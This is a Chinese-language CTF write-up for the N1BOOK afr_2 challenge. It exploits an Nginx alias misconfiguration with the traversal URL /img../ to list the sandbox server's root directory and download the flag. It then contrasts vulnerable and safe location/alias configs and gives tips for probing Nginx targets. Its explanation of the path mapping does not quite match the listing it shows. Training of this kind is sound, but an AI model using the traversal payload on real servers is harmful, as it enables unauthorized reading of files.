Writeup 4 N1BOOK afr_2
解题过程
访问靶机:
http
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/
靶机首页源码:
html
<html>
<head>
<title>u1s1</title>
</head>
<body>
HELLO!
<img src="img/img.gif">
</body>
</html>
发现目录:img
访问该路径:
http
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img/
页面显示:
Index of /img/
../
img.gif 09-Nov-2020 08:17 456384
img.gif 就是靶机首页上跳舞的图片。
这意味着服务器开启了目录浏览功能。
我们就可以尝试利用 Nginx 的"目录穿越"漏洞。
尝试用常规的 ../ 去访问上一级目录,比如 /img/../,发现被服务器拦截或返回 404。
但是,这道题的关键在于:Nginx 在配置别名(alias)时少写了一个斜杠 /,导致存在目录穿越漏洞。
正确的 Payload 是把 .. 直接拼在目录名后面,去掉中间的斜杠:
http
/img../
访问这个 URL,就能成功穿越到网站的根目录,看到服务器根目录下的所有文件列表。在列表的底部,可以找到一个名为 flag 的文件。
尝试访问:
http
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img../
页面显示:
Index of /img../
../
bin/ 23-Jan-2020 14:36 -
dev/ 07-Oct-2026 04:11 -
etc/ 07-Oct-2026 04:11 -
home/ 23-Jan-2020 14:36 -
lib/ 23-Jan-2020 14:36 -
media/ 23-Jan-2020 14:36 -
mnt/ 23-Jan-2020 14:36 -
opt/ 23-Jan-2020 14:36 -
proc/ 07-Oct-2026 04:11 -
root/ 23-Jan-2020 14:36 -
run/ 07-Oct-2026 04:11 -
sbin/ 23-Jan-2020 14:36 -
srv/ 23-Jan-2020 14:36 -
sys/ 07-Oct-2026 04:11 -
tmp/ 09-Nov-2020 08:17 -
usr/ 23-Jan-2020 14:36 -
var/ 29-Feb-2020 20:29 -
flag 07-Oct-2026 04:11 21
💥看到了 flag 文件!
很自然,访问:
http
http://challenge-e2c0759b122e871b.sandbox.ctfhub.com:10800/img../flag
浏览器自动下载文件:flag
用记事本打开,得到 flag
n1book{afr_2_solved}
核心知识点
⚠️ CTF 重点:alias 的斜杠问题
如果 location 和 alias 的末尾斜杠不匹配 ,就会产生目录穿越漏洞 (即 afr_2 的考点)。
-
有漏洞的配置 (
location无斜杠,alias有斜杠):nginxlocation /img { alias /var/www/html/img/; }访问
/img../flag时,Nginx 将../flag拼接到/var/www/html/img/后面,解析为:/var/www/html/flag,成功穿越到上一级。 -
安全的配置(两者都有斜杠):
nginxlocation /img/ { alias /var/www/html/img/; }
CTF 实战中的意义
💡当我们遇到 Nginx 靶机时,重点关注:
- 有没有
alias:如果靶机有静态资源目录(如图片、上传文件),可能用了alias,尝试/目录名../穿越。 autoindex是否开启 :如果某个目录能直接列出文件,看看有没有flag或源码文件。location的匹配 :如果某个后缀被限制(如.php不能访问),看看能不能用路径穿越或编码绕过。
Rambo
2026年10月07日
🎉🎉🎉